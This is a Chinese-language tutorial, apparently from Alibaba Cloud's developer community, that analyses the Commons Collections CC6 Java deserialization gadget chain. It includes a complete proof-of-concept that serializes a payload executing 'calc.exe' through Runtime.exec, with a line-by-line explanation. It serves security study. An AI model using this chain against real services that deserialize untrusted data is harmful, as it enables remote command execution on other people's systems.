在Java 8u71以后,CC1链就不能在利用了,因为
sun.reflect.annotation.AnnotationInvocationHandler这个类里面的readObject方法逻辑已经发生了改变。修改后的逻辑会把我们构造的Map重新put到LinkedHashMap里当中去,我们构造的反序列化链也随之失效。所以我们需要寻找一个新的类去去解决高版本无法利用问题,而CommonCollections6在commons-collections库里一个比较通用的链。
CC1链回顾
在之前CC1链利用LazyMap链构链中关键步骤就是触发LazyMap类里面的get方法,我们找到了
sun.reflect.annotation.AnnotationInvocationHandler类利用对象代理去触发到了这个方法,现在AnnotationInvocationHandler类的readObject方法里的逻辑发生改变,所以现在需要重新寻找一个类去,那在CC6这条链中,这个类就是java.util.HashSet。
CC6链分析
我们看看java.util.HashSet这个类是怎么触发LazyMap类里面的get方法的
可以看到在HashSet类里的readObject方法里面调用了HashMap的put方法,跟进put
调用hash(key),跟进
调用key.hashCode(),且key是我们传进来的一个Object类,代码走到这,我们所要做的就是寻找一个类,这个类里面存在hashCode方法,且这个hashCode方法存在层层调用关系间接的去调用到LazyMap类里的get方法,然后我们把这个类当作key传到这里的hash方法中。这里找到的类就是
org.apache.commons.collections.keyvalue.TiedMapEntry,来看看这个类的hashCode方法是怎么调用到LazyMap里的get方法的。
调用getValue,跟进
getValue里面调用到了map.get,且这里的map在构造器中可控,所以我们可以把LazyMap.decorate修饰过的Map传进来进而调用它的get方法,至此我们的整个链就可以走通了。
CC6的大致构造如上,具体POC还存在诸多细节,我们如下再逐行进行分析
先上POC
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
这是P牛的Java安全漫谈里简化的CC6链,其对ysoserial原链⽤
java.util.HashSet.readObject 到 HashMap.put() 到 HashMap.hash(key)做了简化,原因是在java.util.HashMap.readObject方法里就可以找到HashMap.hash()方法的调用,所以省略了ysoserial链里的前两次调用。
代码的第16-38行,先创建了一个fakeTransformers,先把fakeTransformers给放到构造链中,这里的目的是为了防止本地生成序列化流的时候执行到命令,所以先创建了一个无害的数组放进去,最后通过反射来把真正有害的数组再加入进去。其他和CC1链一致,具体构造原理参考CC1链
代码第40行
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
这里把我们构造好的outerMap通过构造器赋值给TiedMapEntry类的map属性
代码的第42-43行
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
创建了一个HashMap,然后把tme当作key传进去,从而在HashMap的readObject方法里会通过层层调用执行key.hashCode()
这里的key是TiedMapEntry,所以调用TiedMapEntry.hashCod,然后调用之前分析的如下链
TiedMapEntry.hashCod-->TiedMapEntry.getValue
再调用
这里的map就已经是我们构造的outerMap,之后的调用就是CC1链分析过的了,这里就不再叙述了。
另外代码的45行
outerMap.remove("keykey");
这里存在一个缓存机制,当不移除keykey的时候,由于缓存机制的存在,如下的一层if进不去,导致transform不执行
所以我们需要把这个keykey进行移除,进入到这个transform,最终执行命令
疑问没解决? 我们帮您!
如果您在本文中未能找到解决当前疑问的办法,不用担心——正睿专业技术支持团队随时待命
获取更多帮助
文章来源:阿里云开发者社区 作者:随风kali